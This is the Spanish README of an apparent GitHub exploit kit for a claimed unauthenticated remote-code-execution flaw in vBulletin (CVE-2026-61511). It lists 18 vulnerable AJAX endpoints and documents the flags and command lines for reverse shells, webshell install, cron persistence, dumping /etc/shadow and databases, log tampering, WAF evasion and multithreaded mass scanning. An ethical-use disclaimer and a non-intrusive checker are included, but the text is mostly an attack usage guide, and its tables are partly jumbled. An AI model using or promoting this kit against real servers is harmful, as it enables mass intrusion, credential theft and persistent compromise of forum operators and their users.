
CVE-2026-61511 – vBulletin RCE sin autenticación previa (CVSS 9.8). Vulnerabilidad en 5.x/6.x (sin parche). Multi-exploit mediante Endpoint Pool, AJAX, evasión de WAF con PHPFuck. Kit completo: reverse shell, proxy, persistencia, webshell, operaciones de base de datos, control de firewall, gestión de registros, escaneo masivo. 2 versiones: multi-exploit y verificación segura. Python 3.8+ Úsalo éticamente, mantente legal. 🔒

⚠️ SOLO USO ÉTICO – PRUEBAS DE SEGURIDAD AUTORIZADAS
Este repositorio proporciona herramientas solo para profesionales de seguridad autorizados, equipos azules y pentesters.
El acceso no autorizado a sistemas informáticos es ilegal según la CFAA (EE. UU.), la Computer Misuse Act (Reino Unido), el TCK 243/244 (Turquía) y leyes similares en todo el mundo.
CVE‑2026‑61511 es una vulnerabilidad de inyección eval() en PHP en el motor de renderizado de plantillas AJAX de vBulletin.
Versiones afectadas: 5.0.0 – 5.7.5 y 6.0.0 – 6.2.1.
Múltiples endpoints de ataque – el fallo existe en varios manejadores AJAX:
/ajax/render/pagenav/ajax/api/ad/replaceAdTemplate/ajax/render/widget_php/ajax/render/widget_tabbedcontainer_tab_panel/ajax/api/content_* /getIndexableContentCodificación PHPFuck – la carga útil se transforma en una secuencia de operadores y números PHP que evita los filtros WAF y permite la ejecución de código PHP arbitrario.
No se requiere autenticación – un atacante puede enviar una solicitud POST manipulada a cualquier endpoint vulnerable y ejecutar comandos del sistema con los privilegios del servidor web.
Impacto – compromiso total del servidor, robo de datos, puertas traseras, movimiento lateral y persistencia. ¡Actualice la versión!
| Herramienta | Propósito | Usuario previsto |
|---|---|---|
exploit.py | Kit completo con shell inversa, persistencia, operaciones de archivos, volcado de base de datos, gestión de firewall, gestión de registros, reenvío de puertos, despliegue de claves SSH, escaneo de red y escaneo masivo (multihilo). |
git clone https://github.com/tc4dy/CVE-2026-61511-PoC-Exploit
cd CVE-2026-61511-PoC-Exploit
pip install -r requirements.txt
Contenido de requirements.txt:
request
urllib3
Este software se proporciona solo con fines educativos y para pruebas de seguridad autorizadas.
| Equipos rojos / pentesters autorizados |
safecheck.py | Verificador no intrusivo que comprueba la vulnerabilidad sin ejecutar ninguna carga útil maliciosa. Detecta la versión, prueba todos los endpoints y genera un informe detallado. | Equipos azules / auditores de seguridad |
| Característica | exploit.py | safecheck.py |
|---|
| Detección de vulnerabilidad | ✅ | ✅ |
| Detección de versión | ✅ | ✅ |
| Pruebas multi‑endpoint (18 rutas) | ✅ | ✅ |
| Ejecución de comandos | ✅ | ❌ |
| Shell inversa | ✅ | ❌ |
| Subida/descarga de archivos | ✅ | ❌ |
| Mecanismos de persistencia | ✅ | ❌ |
| Despliegue de web shell | ✅ | ❌ |
| Operaciones de base de datos | ✅ | ❌ |
| Recopilación de información del sistema | ✅ | ✅ |
| Gestión de firewall | ✅ | ❌ |
| Gestión de registros | ✅ | ❌ |
| Reenvío de puertos | ✅ | ❌ |
| Despliegue de claves SSH | ✅ | ❌ |
| Escaneo de red | ✅ | ❌ |
| Escaneo masivo (multihilo) | ✅ | ❌ |
| Soporte de proxy | ✅ | ✅ |
| Salida de informe JSON | ✅ | ✅ |
| Menú interactivo | ✅ | ❌ |
| Modo no intrusivo (seguro) | ❌ | ✅ |
| Modo Verbose/Debug | ✅ | ✅ |
| Ejecución de comandos personalizados | ✅ | ❌ |
| Encadenamiento de múltiples comandos | ✅ | ❌ |
| Lectura remota de archivos | ✅ | ❌ |
| Escritura remota de archivos | ✅ | ❌ |
| Gestión de usuarios del sistema | ✅ | ❌ |
| Técnicas de evasión de firewall | ✅ | ❌ |
| Evasión de WAF (PHPFuck) | ✅ | ✅ |
| Escenario | Herramienta recomendada |
|---|
| Equipo azul – verificar si su instalación de vBulletin es vulnerable | safecheck.py |
| Auditoría de seguridad – evaluación de vulnerabilidad no intrusiva | safecheck.py |
| Equipo rojo – pruebas de penetración autorizadas con explotación completa | exploit.py |
| Bug Bounty – pruebas de divulgación responsable | safecheck.py |
| Escaneo masivo – comprobar múltiples objetivos en busca de vulnerabilidades | exploit.py (solo detección) |
| Respuesta a incidentes – comprobar si los sistemas están comprometidos | safecheck.py |
| Parámetro | Descripción |
|---|
-t, --target | URL del objetivo (p. ej. http://forum.com/vb) |
--proxy | Proxy HTTP (p. ej. http://127.0.0.1:8080) |
--timeout | Tiempo de espera de la solicitud en segundos (predeterminado: 10) |
--retry | Número de reintentos por ruta (predeterminado: 3) |
--output | Guardar informe detallado en archivo JSON |
-v, --verbose | Salida detallada |
-q, --quiet | Modo silencioso (salida mínima) |
--lhost | Requerido para el exploit – IP para la devolución de llamada |
--lport | Puerto para la devolución de llamada (predeterminado: 4444) |
--threads | Hilos para escaneo masivo (predeterminado: 5) |
--exploit | Realizar explotación después de la detección |
--full | Ataque completo (todos los módulos) |
--shell | Iniciar shell inversa |
--webshell | Instalar web shell (/shell.php) |
--persist | Instalar persistencia (tarea cron) |
--dump | Volcar base de datos |
--dump-creds | Volcar credenciales (/etc/passwd, /etc/shadow) |
--interactive | Menú interactivo después de la verificación exitosa |
| # | Escenario | Comando |
|---|
| 1 | Verificación rápida de vulnerabilidad | python safecheck.py -t http://target.com/vb |
| 2 | Escaneo detallado con informe | python safecheck.py -t http://target.com/vb --output report.json -v |
| 3 | Shell inversa | python exploit.py -t http://target.com/vb --lhost 192.168.1.100 --lport 4444 --shell |
| 4 | Ataque completo (todos los módulos) | python exploit.py -t http://target.com/vb --lhost 192.168.1.100 --full |
| 5 | Escaneo masivo desde archivo | python exploit.py -l targets.txt --lhost 192.168.1.100 --threads 20 --output results.json |
| 6 | Modo de menú interactivo | python exploit.py -t http://target.com/vb --lhost 192.168.1.100 --interactive |
| # | Endpoint |
|---|
| 1 | /ajax/render/pagenav |
| 2 | /ajax/render/pagenav?template=page |
| 3 | /ajax/api/ad/replaceAdTemplate |
| 4 | /ajax/render/widget_php |
| 5 | /ajax/render/widget_tabbedcontainer_tab_panel |
| 6 | /ajax/api/content_infraction/getIndexableContent |
| 7 | /ajax/api/content_video/getIndexableContent |
| 8 | /ajax/api/content_text/getIndexableContent |
| 9 | /ajax/api/content_report/getIndexableContent |
| 10 | /ajax/api/content_redirect/getIndexableContent |
| 11 | /ajax/api/content_privatemessage/getIndexableContent |
| 12 | /ajax/api/content_poll/getIndexableContent |
| 13 | /ajax/api/content_photo/getIndexableContent |
| 14 | /ajax/api/content_link/getIndexableContent |
| 15 | /ajax/api/content_gallery/getIndexableContent |
| 16 | /ajax/api/content_event/getIndexableContent |
| 17 | /ajax/api/content_channel/getIndexableContent |
| 18 | /ajax/api/content_attach/getIndexableContent |